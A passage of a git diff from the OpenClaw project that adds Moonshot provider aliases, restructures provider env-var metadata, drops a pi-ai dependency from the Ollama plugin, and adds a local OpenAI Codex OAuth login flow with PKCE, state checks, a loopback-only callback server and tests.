Moonshot provider aliases in runtime and manifest metadata", async () => { + const provider = await registerSingleProviderPlugin(plugin); + + expect(provider.aliases).toEqual(["moonshotai", "moonshot-ai"]); + expect(readManifest().providerAuthAliases).toEqual({ + moonshotai: "moonshot", + "moonshot-ai": "moonshot", + }); + }); + it("owns replay policy for OpenAI-compatible Moonshot transports without mangling native Kimi tool_call IDs", async () => { const provider = await registerSingleProviderPlugin(plugin); diff --git a/extensions/moonshot/index.ts b/extensions/moonshot/index.ts index c8be27d875f..f5991c20094 100644 --- a/extensions/moonshot/index.ts +++ b/extensions/moonshot/index.ts @@ -20,6 +20,7 @@ export default defineSingleProviderPluginEntry({ provider: { label: "Moonshot", docsPath: "/providers/moonshot", + aliases: ["moonshotai", "moonshot-ai"], auth: [ { methodId: "api-key", diff --git a/extensions/moonshot/openclaw.plugin.json b/extensions/moonshot/openclaw.plugin.json index 81f24845cd4..19fb589beba 100644 --- a/extensions/moonshot/openclaw.plugin.json +++ b/extensions/moonshot/openclaw.plugin.json @@ -6,6 +6,10 @@ "enabledByDefault": true, "providerCatalogEntry": "./provider-discovery.ts", "providers": ["moonshot"], + "providerAuthAliases": { + "moonshotai": "moonshot", + "moonshot-ai": "moonshot" + }, "providerEndpoints": [ { "endpointClass": "moonshot-native", @@ -120,8 +124,13 @@ "moonshot": "static" } }, - "providerAuthEnvVars": { - "moonshot": ["MOONSHOT_API_KEY", "KIMI_API_KEY"] + "setup": { + "providers": [ + { + "id": "moonshot", + "envVars": ["MOONSHOT_API_KEY", "KIMI_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/moonshot/provider-contract-api.ts b/extensions/moonshot/provider-contract-api.ts index c0e9489c02b..ec034bf7176 100644 --- a/extensions/moonshot/provider-contract-api.ts +++ b/extensions/moonshot/provider-contract-api.ts @@ -7,6 +7,7 @@ export function createMoonshotProvider(): ProviderPlugin { id: "moonshot", label: "Moonshot", docsPath: "/providers/moonshot", + aliases: ["moonshotai", "moonshot-ai"], auth: [ { id: "api-key", diff --git a/extensions/moonshot/provider-discovery.ts b/extensions/moonshot/provider-discovery.ts index 751e15ae713..4b833aa738f 100644 --- a/extensions/moonshot/provider-discovery.ts +++ b/extensions/moonshot/provider-discovery.ts @@ -5,6 +5,7 @@ const moonshotProviderDiscovery: ProviderPlugin = { id: "moonshot", label: "Moonshot", docsPath: "/providers/moonshot", + aliases: ["moonshotai", "moonshot-ai"], auth: [], staticCatalog: { order: "simple", diff --git a/extensions/nvidia/openclaw.plugin.json b/extensions/nvidia/openclaw.plugin.json index 4073c68ca25..0e2dd8bcb8a 100644 --- a/extensions/nvidia/openclaw.plugin.json +++ b/extensions/nvidia/openclaw.plugin.json @@ -96,8 +96,13 @@ "nvidia": "static" } }, - "providerAuthEnvVars": { - "nvidia": ["NVIDIA_API_KEY"] + "setup": { + "providers": [ + { + "id": "nvidia", + "envVars": ["NVIDIA_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/ollama/index.test.ts b/extensions/ollama/index.test.ts index 124ce593460..38ab2852701 100644 --- a/extensions/ollama/index.test.ts +++ b/extensions/ollama/index.test.ts @@ -408,7 +408,7 @@ describe("ollama plugin", () => { }); }); - it("resolves dynamic local models from Ollama without generating PI models.json", async () => { + it("resolves dynamic local models from Ollama without generating static models.json", async () => { const provider = registerProvider(); const previous = process.env.OLLAMA_API_KEY; process.env.OLLAMA_API_KEY = "ollama-local"; @@ -750,35 +750,6 @@ describe("ollama plugin", () => { expect((payloadSeen?.options as Record | undefined)?.num_ctx).toBe(202752); }); - it("declares streaming usage support for OpenAI-compatible Ollama routes", () => { - const provider = registerProvider(); - - expect( - provider.contributeResolvedModelCompat?.({ - modelId: "qwen3:32b", - provider: "ollama", - model: { - api: "openai-completions", - provider: "ollama", - id: "qwen3:32b", - baseUrl: "http://127.0.0.1:11434/v1", - }, - } as never), - ).toEqual({ supportsUsageInStreaming: true }); - expect( - provider.contributeResolvedModelCompat?.({ - modelId: "qwen3:32b", - provider: "custom", - model: { - api: "openai-completions", - provider: "custom", - id: "qwen3:32b", - baseUrl: "https://proxy.example.com/v1", - }, - } as never), - ).toBeUndefined(); - }); - it("owns replay policy for OpenAI-compatible and native Ollama routes", () => { const provider = registerProvider(); diff --git a/extensions/ollama/index.ts b/extensions/ollama/index.ts index f32cbb056bf..5b3e4a740f6 100644 --- a/extensions/ollama/index.ts +++ b/extensions/ollama/index.ts @@ -46,27 +46,11 @@ import { readProviderBaseUrl } from "./src/provider-base-url.js"; import { createConfiguredOllamaCompatStreamWrapper, createConfiguredOllamaStreamFn, - isOllamaCompatProvider, resolveConfiguredOllamaProviderConfig, } from "./src/stream.js"; import { createOllamaWebSearchProvider } from "./src/web-search-provider.js"; import { checkWsl2CrashLoopRisk } from "./src/wsl2-crash-loop-check.js"; -function usesOllamaOpenAICompatTransport(model: { - api?: unknown; - provider?: unknown; - baseUrl?: unknown; -}): boolean { - return ( - model.api === "openai-completions" && - isOllamaCompatProvider({ - provider: typeof model.provider === "string" ? model.provider : undefined, - baseUrl: typeof model.baseUrl === "string" ? model.baseUrl : undefined, - api: "openai-completions", - }) - ); -} - function buildNativeOllamaReplayPolicy(): ProviderReplayPolicy { return { ...buildOpenAICompatibleReplayPolicy("openai-completions", { @@ -257,8 +241,6 @@ export default definePluginEntry({ ctx.modelApi === "ollama" ? buildNativeOllamaReplayPolicy() : buildOpenAICompatibleReplayPolicy(ctx.modelApi), - contributeResolvedModelCompat: ({ model }) => - usesOllamaOpenAICompatTransport(model) ? { supportsUsageInStreaming: true } : undefined, resolveReasoningOutputMode: () => "native", resolveThinkingProfile: resolveOllamaThinkingProfile, wrapStreamFn: createConfiguredOllamaCompatStreamWrapper, diff --git a/extensions/ollama/ollama.live.test.ts b/extensions/ollama/ollama.live.test.ts index d1d3b15d361..b965efd8764 100644 --- a/extensions/ollama/ollama.live.test.ts +++ b/extensions/ollama/ollama.live.test.ts @@ -158,7 +158,7 @@ function buildCliEnv(root: string): NodeJS.ProcessEnv { } describe.skipIf(!LIVE)("ollama live", () => { - it("runs infer model run through the local CLI path without PI model discovery", async () => { + it("runs infer model run through the local CLI path without static model discovery", async () => { await withTempOpenClawState(async ({ root }) => { const result = await runOpenClawCli( [ diff --git a/extensions/ollama/openclaw.plugin.json b/extensions/ollama/openclaw.plugin.json index c36ba18fd21..7139097144c 100644 --- a/extensions/ollama/openclaw.plugin.json +++ b/extensions/ollama/openclaw.plugin.json @@ -22,8 +22,13 @@ }, "syntheticAuthRefs": ["ollama"], "nonSecretAuthMarkers": ["ollama-local"], - "providerAuthEnvVars": { - "ollama": ["OLLAMA_API_KEY"] + "setup": { + "providers": [ + { + "id": "ollama", + "envVars": ["OLLAMA_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/ollama/package.json b/extensions/ollama/package.json index 09162b35da7..66972220c5f 100644 --- a/extensions/ollama/package.json +++ b/extensions/ollama/package.json @@ -5,7 +5,6 @@ "description": "OpenClaw Ollama provider plugin", "type": "module", "dependencies": { - "@earendil-works/pi-ai": "0.75.5", "typebox": "1.1.38" }, "devDependencies": { diff --git a/extensions/ollama/src/discovery-shared.ts b/extensions/ollama/src/discovery-shared.ts index 7d8b653924e..404a8360c9f 100644 --- a/extensions/ollama/src/discovery-shared.ts +++ b/extensions/ollama/src/discovery-shared.ts @@ -18,9 +18,6 @@ type OllamaDiscoveryContext = { config: { models?: { providers?: Record; - ollamaDiscovery?: { - enabled?: boolean; - }; }; }; env: NodeJS.ProcessEnv; @@ -239,8 +236,7 @@ export async function resolveOllamaDiscoveryResult(params: { const hasRemoteOllamaApiProvider = hasExplicitRemoteOllamaApiProvider( params.ctx.config.models?.providers, ); - const discoveryEnabled = - params.pluginConfig.discovery?.enabled ?? params.ctx.config.models?.ollamaDiscovery?.enabled; + const discoveryEnabled = params.pluginConfig.discovery?.enabled; if (!hasExplicitModels && discoveryEnabled === false) { return null; } diff --git a/extensions/ollama/src/ollama-json.ts b/extensions/ollama/src/ollama-json.ts index 5132689007b..036c154d726 100644 --- a/extensions/ollama/src/ollama-json.ts +++ b/extensions/ollama/src/ollama-json.ts @@ -1,143 +1,4 @@ -const MAX_SAFE_INTEGER_ABS_STR = String(Number.MAX_SAFE_INTEGER); - -function isAsciiDigit(ch: string | undefined): boolean { - return ch !== undefined && ch >= "0" && ch <= "9"; -} - -function parseJsonNumberToken( - input: string, - start: number, -): { token: string; end: number; isInteger: boolean } | null { - let idx = start; - if (input[idx] === "-") { - idx += 1; - } - if (idx >= input.length) { - return null; - } - - if (input[idx] === "0") { - idx += 1; - } else if (isAsciiDigit(input[idx]) && input[idx] !== "0") { - while (isAsciiDigit(input[idx])) { - idx += 1; - } - } else { - return null; - } - - let isInteger = true; - if (input[idx] === ".") { - isInteger = false; - idx += 1; - if (!isAsciiDigit(input[idx])) { - return null; - } - while (isAsciiDigit(input[idx])) { - idx += 1; - } - } - - if (input[idx] === "e" || input[idx] === "E") { - isInteger = false; - idx += 1; - if (input[idx] === "+" || input[idx] === "-") { - idx += 1; - } - if (!isAsciiDigit(input[idx])) { - return null; - } - while (isAsciiDigit(input[idx])) { - idx += 1; - } - } - - return { - token: input.slice(start, idx), - end: idx, - isInteger, - }; -} - -function isUnsafeIntegerLiteral(token: string): boolean { - const digits = token[0] === "-" ? token.slice(1) : token; - if (digits.length < MAX_SAFE_INTEGER_ABS_STR.length) { - return false; - } - if (digits.length > MAX_SAFE_INTEGER_ABS_STR.length) { - return true; - } - return digits > MAX_SAFE_INTEGER_ABS_STR; -} - -function quoteUnsafeIntegerLiterals(input: string): string { - let out = ""; - let inString = false; - let escaped = false; - let idx = 0; - - while (idx < input.length) { - const ch = input[idx] ?? ""; - if (inString) { - out += ch; - if (escaped) { - escaped = false; - } else if (ch === "\\") { - escaped = true; - } else if (ch === '"') { - inString = false; - } - idx += 1; - continue; - } - - if (ch === '"') { - inString = true; - out += ch; - idx += 1; - continue; - } - - if (ch === "-" || isAsciiDigit(ch)) { - const parsed = parseJsonNumberToken(input, idx); - if (parsed) { - if (parsed.isInteger && isUnsafeIntegerLiteral(parsed.token)) { - out += `"${parsed.token}"`; - } else { - out += parsed.token; - } - idx = parsed.end; - continue; - } - } - - out += ch; - idx += 1; - } - - return out; -} - -export function parseJsonPreservingUnsafeIntegers(input: string): unknown { - return JSON.parse(quoteUnsafeIntegerLiterals(input)) as unknown; -} - -export function parseJsonObjectPreservingUnsafeIntegers( - value: unknown, -): Record | null { - if (typeof value === "string") { - try { - const parsed = parseJsonPreservingUnsafeIntegers(value); - if (parsed && typeof parsed === "object" && !Array.isArray(parsed)) { - return parsed as Record; - } - } catch { - return null; - } - return null; - } - if (value && typeof value === "object" && !Array.isArray(value)) { - return value as Record; - } - return null; -} +export { + parseJsonObjectPreservingUnsafeIntegers, + parseJsonPreservingUnsafeIntegers, +} from "openclaw/plugin-sdk/json-unsafe-integers"; diff --git a/extensions/ollama/src/stream.ts b/extensions/ollama/src/stream.ts index d52b4260e98..5dea1279124 100644 --- a/extensions/ollama/src/stream.ts +++ b/extensions/ollama/src/stream.ts @@ -1,5 +1,6 @@ import { randomUUID } from "node:crypto"; -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import { formatErrorMessage } from "openclaw/plugin-sdk/error-runtime"; import type { AssistantMessage, StopReason, @@ -8,9 +9,8 @@ import type { ToolCall, Tool, Usage, -} from "@earendil-works/pi-ai"; -import { createAssistantMessageEventStream, streamSimple } from "@earendil-works/pi-ai"; -import { formatErrorMessage } from "openclaw/plugin-sdk/error-runtime"; +} from "openclaw/plugin-sdk/llm"; +import { createAssistantMessageEventStream, streamSimple } from "openclaw/plugin-sdk/llm"; import type { OpenClawConfig, ProviderRuntimeModel, diff --git a/extensions/openai/index.test.ts b/extensions/openai/index.test.ts index 7922344a81d..e13858d1110 100644 --- a/extensions/openai/index.test.ts +++ b/extensions/openai/index.test.ts @@ -32,11 +32,8 @@ vi.mock("openclaw/plugin-sdk/runtime-env", async () => { }; }); -vi.mock("@earendil-works/pi-ai/oauth", () => ({ - getOAuthApiKey: vi.fn(), - getOAuthProviders: () => [], - loginOpenAICodex: vi.fn(), - refreshOpenAICodexToken: vi.fn(), +vi.mock("./openai-codex-oauth-flow.runtime.js", () => ({ + refreshOpenAICodexToken: runtimeMocks.refreshOpenAICodexToken, })); import { createOpenAICodexProviderRuntime } from "./openai-codex-provider.runtime.js"; diff --git a/extensions/openai/native-web-search.ts b/extensions/openai/native-web-search.ts index ab6955175b7..56a7b699fea 100644 --- a/extensions/openai/native-web-search.ts +++ b/extensions/openai/native-web-search.ts @@ -1,6 +1,6 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import type { OpenClawConfig } from "openclaw/plugin-sdk/config-contracts"; +import { streamSimple } from "openclaw/plugin-sdk/llm"; import { normalizeProviderId } from "openclaw/plugin-sdk/provider-model-shared"; import { streamWithPayloadPatch } from "openclaw/plugin-sdk/provider-stream-shared"; import { isRecord } from "openclaw/plugin-sdk/string-coerce-runtime"; diff --git a/extensions/openai/openai-codex-auth-identity.test.ts b/extensions/openai/openai-codex-auth-identity.test.ts index c417caef9c3..0b9bdb3a86c 100644 --- a/extensions/openai/openai-codex-auth-identity.test.ts +++ b/extensions/openai/openai-codex-auth-identity.test.ts @@ -45,6 +45,19 @@ describe("resolveCodexAuthIdentity", () => { }); }); + it("decodes URL-safe base64 JWT payloads", () => { + const accessToken = createJwt({ + "https://api.openai.com/auth": { + chatgpt_account_id: "w_ébé_1fzcswWN6Pi5zL", + }, + }); + expect(accessToken.split(".")[1]).toContain("_"); + + expect(resolveCodexAuthIdentity({ accessToken })).toEqual({ + accountId: "w_ébé_1fzcswWN6Pi5zL", + }); + }); + it("falls back to credential email before synthetic ids", () => { const identity = resolveCodexAuthIdentity({ accessToken: createJwt({}), diff --git a/extensions/openai/openai-codex-oauth-flow.runtime.test.ts b/extensions/openai/openai-codex-oauth-flow.runtime.test.ts new file mode 100644 index 00000000000..b67d32268b2 --- /dev/null +++ b/extensions/openai/openai-codex-oauth-flow.runtime.test.ts @@ -0,0 +1,29 @@ +import { describe, expect, it } from "vitest"; +import { testing } from "./openai-codex-oauth-flow.runtime.js"; + +describe("OpenAI Codex OAuth flow", () => { + it("waits for Node OAuth runtime before creating an authorization flow", async () => { + const flow = await testing.createAuthorizationFlow("openclaw-test"); + const url = new URL(flow.url); + + expect(flow.state).toMatch(/^[a-f0-9]{32}$/u); + expect(url.searchParams.get("state")).toBe(flow.state); + expect(url.searchParams.get("originator")).toBe("openclaw-test"); + const redirectUri = url.searchParams.get("redirect_uri"); + expect(redirectUri).toBeTruthy(); + expect(flow.redirectUri).toBe(redirectUri); + expect(testing.callbackHost).toBe(new URL(redirectUri ?? "").hostname); + }); + + it("builds callback redirect URIs from the configured loopback host", () => { + expect(testing.resolveRedirectUri("127.0.0.1")).toBe( + "http://127.0.0.1:1455/auth/callback", + ); + }); + + it("rejects non-loopback callback bind hosts", () => { + expect(() => + testing.resolveCallbackHost({ OPENCLAW_OAUTH_CALLBACK_HOST: "0.0.0.0" }), + ).toThrow("callback host must be localhost, 127.0.0.1, or ::1"); + }); +}); diff --git a/extensions/openai/openai-codex-oauth-flow.runtime.ts b/extensions/openai/openai-codex-oauth-flow.runtime.ts new file mode 100644 index 00000000000..a4460a5fcc8 --- /dev/null +++ b/extensions/openai/openai-codex-oauth-flow.runtime.ts @@ -0,0 +1,537 @@ +/** + * OpenAI Codex (ChatGPT OAuth) flow + * + * NOTE: This module uses Node.js crypto and http for the OAuth callback. + * It is only intended for CLI use, not browser environments. + */ + +import { fetchWithSsrFGuard } from "openclaw/plugin-sdk/ssrf-runtime"; +import { resolveCodexAuthIdentity } from "./openai-codex-auth-identity.js"; +import { oauthErrorHtml, oauthSuccessHtml } from "./openai-codex-oauth-page.runtime.js"; +import type { + OAuthCredentials, + OAuthLoginCallbacks, + OAuthPrompt, + OAuthProviderInterface, +} from "./openai-codex-oauth-types.runtime.js"; +import { generatePKCE } from "./openai-codex-pkce.runtime.js"; + +const CLIENT_ID = "app_EMoamEEZ73f0CkXaXp7hrann"; +const AUTHORIZE_URL = "https://auth.openai.com/oauth/authorize"; +const TOKEN_URL = "https://auth.openai.com/oauth/token"; +const CALLBACK_PORT = 1455; +const CALLBACK_PATH = "/auth/callback"; +const DEFAULT_CALLBACK_HOST = "localhost"; +const LOOPBACK_CALLBACK_HOSTS = new Set(["localhost", "127.0.0.1", "::1"]); +const CALLBACK_HOST = resolveCallbackHost(); +const REDIRECT_URI = resolveRedirectUri(CALLBACK_HOST); +const MANUAL_PROMPT_FALLBACK_MS = 15_000; +const SCOPE = "openid profile email offline_access"; + +type TokenSuccess = { type: "success"; access: string; refresh: string; expires: number }; +type TokenFailure = { type: "failed"; message: string; status?: number }; +type TokenResult = TokenSuccess | TokenFailure; +type TokenResponseJson = { + access_token?: string; + refresh_token?: string; + expires_in?: number; +}; +type NodeOAuthRuntime = { + randomBytes: typeof import("node:crypto").randomBytes; + http: typeof import("node:http"); +}; + +let nodeOAuthRuntimePromise: Promise | null = null; + +function loadNodeOAuthRuntime(): Promise { + if (typeof process === "undefined" || (!process.versions?.node && !process.versions?.bun)) { + return Promise.reject( + new Error("OpenAI Codex OAuth is only available in Node.js environments"), + ); + } + nodeOAuthRuntimePromise ??= Promise.all([import("node:crypto"), import("node:http")]).then( + ([cryptoModule, httpModule]) => ({ + randomBytes: cryptoModule.randomBytes, + http: httpModule, + }), + ); + return nodeOAuthRuntimePromise; +} + +function resolveCallbackHost(env: NodeJS.ProcessEnv = process.env): string { + const host = env.OPENCLAW_OAUTH_CALLBACK_HOST?.trim() || DEFAULT_CALLBACK_HOST; + if (!LOOPBACK_CALLBACK_HOSTS.has(host)) { + throw new Error("OpenAI Codex OAuth callback host must be localhost, 127.0.0.1, or ::1"); + } + return host; +} + +function resolveRedirectUri(host: string = CALLBACK_HOST): string { + const hostForUrl = host === "::1" ? "[::1]" : host; + const url = new URL(`http://${hostForUrl}:${CALLBACK_PORT}`); + url.pathname = CALLBACK_PATH; + return url.toString(); +} + +function createState(randomBytes: typeof import("node:crypto").randomBytes): string { + return randomBytes(16).toString("hex"); +} + +function waitForManualPromptFallback(): Promise { + return new Promise((resolve) => { + const timeout = setTimeout(() => resolve(null), MANUAL_PROMPT_FALLBACK_MS); + timeout.unref?.(); + }); +} + +function parseAuthorizationInput(input: string): { code?: string; state?: string } { + const value = input.trim(); + if (!value) { + return {}; + } + + try { + const url = new URL(value); + return { + code: url.searchParams.get("code") ?? undefined, + state: url.searchParams.get("state") ?? undefined, + }; + } catch { + // not a URL + } + + if (value.includes("#")) { + const [code, state] = value.split("#", 2); + return { code, state }; + } + + if (value.includes("code=")) { + const params = new URLSearchParams(value); + return { + code: params.get("code") ?? undefined, + state: params.get("state") ?? undefined, + }; + } + + return { code: value }; +} + +async function promptForAuthorizationCode( + onPrompt: (prompt: OAuthPrompt) => Promise, + state: string, +): Promise { + const input = await onPrompt({ + message: "Paste the authorization code (or full redirect URL):", + }); + const parsed = parseAuthorizationInput(input); + if (parsed.state && parsed.state !== state) { + throw new Error("State mismatch"); + } + return parsed.code; +} + +function formatMissingTokenResponseFields(json: TokenResponseJson): string { + const missing: string[] = []; + if (!json.access_token) { + missing.push("access_token"); + } + if (!json.refresh_token) { + missing.push("refresh_token"); + } + if (typeof json.expires_in !== "number") { + missing.push("expires_in"); + } + return missing.join(", "); +} + +async function postTokenForm(body: URLSearchParams): Promise { + const { response, release } = await fetchWithSsrFGuard({ + url: TOKEN_URL, + init: { + method: "POST", + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body, + }, + auditContext: "openai-codex-oauth-token", + }); + try { + const responseBody = await response.arrayBuffer(); + return new Response(responseBody, { + status: response.status, + statusText: response.statusText, + headers: response.headers, + }); + } finally { + await release(); + } +} + +async function exchangeAuthorizationCode( + code: string, + verifier: string, + redirectUri: string = REDIRECT_URI, +): Promise { + const response = await postTokenForm( + new URLSearchParams({ + grant_type: "authorization_code", + client_id: CLIENT_ID, + code, + code_verifier: verifier, + redirect_uri: redirectUri, + }), + ); + + if (!response.ok) { + const text = await response.text().catch(() => ""); + return { + type: "failed", + status: response.status, + message: `OpenAI Codex token exchange failed (${response.status}): ${text || response.statusText}`, + }; + } + + const json = (await response.json()) as TokenResponseJson; + + if (!json.access_token || !json.refresh_token || typeof json.expires_in !== "number") { + return { + type: "failed", + message: `OpenAI Codex token exchange response missing fields: ${formatMissingTokenResponseFields(json)}`, + }; + } + + return { + type: "success", + access: json.access_token, + refresh: json.refresh_token, + expires: Date.now() + json.expires_in * 1000, + }; +} + +async function refreshAccessToken(refreshToken: string): Promise { + try { + const response = await postTokenForm( + new URLSearchParams({ + grant_type: "refresh_token", + refresh_token: refreshToken, + client_id: CLIENT_ID, + }), + ); + + if (!response.ok) { + const text = await response.text().catch(() => ""); + return { + type: "failed", + status: response.status, + message: `OpenAI Codex token refresh failed (${response.status}): ${text || response.statusText}`, + }; + } + + const json = (await response.json()) as TokenResponseJson; + + if (!json.access_token || !json.refresh_token || typeof json.expires_in !== "number") { + return { + type: "failed", + message: `OpenAI Codex token refresh response missing fields: ${formatMissingTokenResponseFields(json)}`, + }; + } + + return { + type: "success", + access: json.access_token, + refresh: json.refresh_token, + expires: Date.now() + json.expires_in * 1000, + }; + } catch (error) { + return { + type: "failed", + message: `OpenAI Codex token refresh error: ${error instanceof Error ? error.message : String(error)}`, + }; + } +} + +async function createAuthorizationFlow( + originator: string = "openclaw", +): Promise<{ verifier: string; redirectUri: string; state: string; url: string }> { + const [{ verifier, challenge }, runtime] = await Promise.all([ + generatePKCE(), + loadNodeOAuthRuntime(), + ]); + const state = createState(runtime.randomBytes); + + const url = new URL(AUTHORIZE_URL); + url.searchParams.set("response_type", "code"); + url.searchParams.set("client_id", CLIENT_ID); + const redirectUri = REDIRECT_URI; + url.searchParams.set("redirect_uri", redirectUri); + url.searchParams.set("scope", SCOPE); + url.searchParams.set("code_challenge", challenge); + url.searchParams.set("code_challenge_method", "S256"); + url.searchParams.set("state", state); + url.searchParams.set("id_token_add_organizations", "true"); + url.searchParams.set("codex_cli_simplified_flow", "true"); + url.searchParams.set("originator", originator); + + return { verifier, redirectUri, state, url: url.toString() }; +} + +type OAuthServerInfo = { + close: () => void; + cancelWait: () => void; + waitForCode: () => Promise<{ code: string } | null>; +}; + +async function startLocalOAuthServer(state: string): Promise { + const { http } = await loadNodeOAuthRuntime(); + let settleWait: ((value: { code: string } | null) => void) | undefined; + const waitForCodePromise = new Promise<{ code: string } | null>((resolve) => { + let settled = false; + settleWait = (value) => { + if (settled) { + return; + } + settled = true; + resolve(value); + }; + }); + + const server = http.createServer((req, res) => { + try { + const url = new URL(req.url || "", "http://localhost"); + if (url.pathname !== "/auth/callback") { + res.statusCode = 404; + res.setHeader("Content-Type", "text/html; charset=utf-8"); + res.end(oauthErrorHtml("Callback route not found.")); + return; + } + if (url.searchParams.get("state") !== state) { + res.statusCode = 400; + res.setHeader("Content-Type", "text/html; charset=utf-8"); + res.end(oauthErrorHtml("State mismatch.")); + return; + } + const code = url.searchParams.get("code"); + if (!code) { + res.statusCode = 400; + res.setHeader("Content-Type", "text/html; charset=utf-8"); + res.end(oauthErrorHtml("Missing authorization code.")); + return; + } + res.statusCode = 200; + res.setHeader("Content-Type", "text/html; charset=utf-8"); + res.end(oauthSuccessHtml("OpenAI authentication completed. You can close this window.")); + settleWait?.({ code }); + } catch { + res.statusCode = 500; + res.setHeader("Content-Type", "text/html; charset=utf-8"); + res.end(oauthErrorHtml("Internal error while processing OAuth callback.")); + } + }); + + return new Promise((resolve) => { + server + .listen(CALLBACK_PORT, CALLBACK_HOST, () => { + resolve({ + close: () => server.close(), + cancelWait: () => { + settleWait?.(null); + }, + waitForCode: () => waitForCodePromise, + }); + }) + .on("error", () => { + settleWait?.(null); + resolve({ + close: () => { + try { + server.close(); + } catch { + // ignore + } + }, + cancelWait: () => {}, + waitForCode: async () => null, + }); + }); + }); +} + +function getAccountId(accessToken: string): string | null { + const accountId = resolveCodexAuthIdentity({ accessToken }).accountId; + return typeof accountId === "string" && accountId.length > 0 ? accountId : null; +} + +/** + * Login with OpenAI Codex OAuth + * + * @param options.onAuth - Called with URL and instructions when auth starts + * @param options.onPrompt - Called to prompt user for manual code paste (fallback if no onManualCodeInput) + * @param options.onProgress - Optional progress messages + * @param options.onManualCodeInput - Optional promise that resolves with user-pasted code. + * Races with browser callback - whichever completes first wins. + * Useful for showing paste input immediately alongside browser flow. + * @param options.originator - OAuth originator parameter (defaults to "openclaw") + */ +export async function loginOpenAICodex(options: { + onAuth: (info: { url: string; instructions?: string }) => void; + onPrompt: (prompt: OAuthPrompt) => Promise; + onProgress?: (message: string) => void; + onManualCodeInput?: () => Promise; + originator?: string; +}): Promise { + const { verifier, redirectUri, state, url } = await createAuthorizationFlow(options.originator); + const server = await startLocalOAuthServer(state); + + options.onAuth({ url, instructions: "A browser window should open. Complete login to finish." }); + + let code: string | undefined; + try { + if (options.onManualCodeInput) { + // Race between browser callback and manual input + let manualCode: string | undefined; + let manualError: Error | undefined; + const manualPromise = options + .onManualCodeInput() + .then((input) => { + manualCode = input; + server.cancelWait(); + }) + .catch((err) => { + manualError = err instanceof Error ? err : new Error(String(err)); + server.cancelWait(); + }); + + const result = await server.waitForCode(); + + // If manual input was cancelled, throw that error + if (manualError) { + throw manualError; + } + + if (result?.code) { + // Browser callback won + code = result.code; + } else if (manualCode) { + // Manual input won (or callback timed out and user had entered code) + const parsed = parseAuthorizationInput(manualCode); + if (parsed.state && parsed.state !== state) { + throw new Error("State mismatch"); + } + code = parsed.code; + } + + // If still no code, wait for manual promise to complete and try that + if (!code) { + await manualPromise; + if (manualError) { + throw manualError; + } + if (manualCode) { + const parsed = parseAuthorizationInput(manualCode); + if (parsed.state && parsed.state !== state) { + throw new Error("State mismatch"); + } + code = parsed.code; + } + } + } else { + const callbackPromise = server.waitForCode(); + const result = await Promise.race([callbackPromise, waitForManualPromptFallback()]); + if (result?.code) { + code = result.code; + } else { + const promptCodePromise = promptForAuthorizationCode(options.onPrompt, state).then( + (promptCode) => { + server.cancelWait(); + return promptCode; + }, + ); + code = await Promise.race([ + callbackPromise.then((callback) => callback?.code), + promptCodePromise, + ]); + } + } + + // Fallback to onPrompt if still no code + if (!code) { + code = await promptForAuthorizationCode(options.onPrompt, state); + } + + if (!code) { + throw new Error("Missing authorization code"); + } + + const tokenResult = await exchangeAuthorizationCode(code, verifier, redirectUri); + if (tokenResult.type !== "success") { + throw new Error(tokenResult.message); + } + + const accountId = getAccountId(tokenResult.access); + if (!accountId) { + throw new Error("Failed to extract accountId from token"); + } + + return { + access: tokenResult.access, + refresh: tokenResult.refresh, + expires: tokenResult.expires, + accountId, + }; + } finally { + server.close(); + } +} + +/** + * Refresh OpenAI Codex OAuth token + */ +export async function refreshOpenAICodexToken(refreshToken: string): Promise { + const result = await refreshAccessToken(refreshToken); + if (result.type !== "success") { + throw new Error(result.message); + } + + const accountId = getAccountId(result.access); + if (!accountId) { + throw new Error("Failed to extract accountId from token"); + } + + return { + access: result.access, + refresh: result.refresh, + expires: result.expires, + accountId, + }; +} + +export const openaiCodexOAuthProvider: OAuthProviderInterface = { + id: "openai-codex", + name: "ChatGPT Plus/Pro (Codex Subscription)", + usesCallbackServer: true, + + async login(callbacks: OAuthLoginCallbacks): Promise { + return loginOpenAICodex({ + onAuth: callbacks.onAuth, + onPrompt: callbacks.onPrompt, + onProgress: callbacks.onProgress, + onManualCodeInput: callbacks.onManualCodeInput, + }); + }, + + async refreshToken(credentials: OAuthCredentials): Promise { + return refreshOpenAICodexToken(credentials.refresh); + }, + + getApiKey(credentials: OAuthCredentials): string { + return credentials.access; + }, +}; + +export const testing = { + callbackHost: CALLBACK_HOST, + createAuthorizationFlow, + exchangeAuthorizationCode, + refreshAccessToken, + resolveCallbackHost, + resolveRedirectUri, +}; diff --git a/extensions/openai/openai-codex-oauth-page.runtime.ts b/extensions/openai/openai-codex-oauth-page.runtime.ts new file mode 100644 index 00000000000..c421b455d79 --- /dev/null +++ b/extensions/openai/openai-codex-oauth-page.runtime.ts @@ -0,0 +1,114 @@ +const LOGO_SVG = ``; + +function escapeHtml(value: string): string { + return value + .replaceAll("&", "&") + .replaceAll("<", "<") + .replaceAll(">", ">") + .replaceAll('"', """) + .replaceAll("'", "'"); +} + +function renderPage(options: { + title: string; + heading: string; + message: string; + details?: string; +}): string { + const title = escapeHtml(options.title); + const heading = escapeHtml(options.heading); + const message = escapeHtml(options.message); + const details = options.details ? escapeHtml(options.details) : undefined; + + return ` + + + + + ${title} + + + +
+ +

${heading}

+

${message}

+ ${details ? `
${details}
` : ""} +
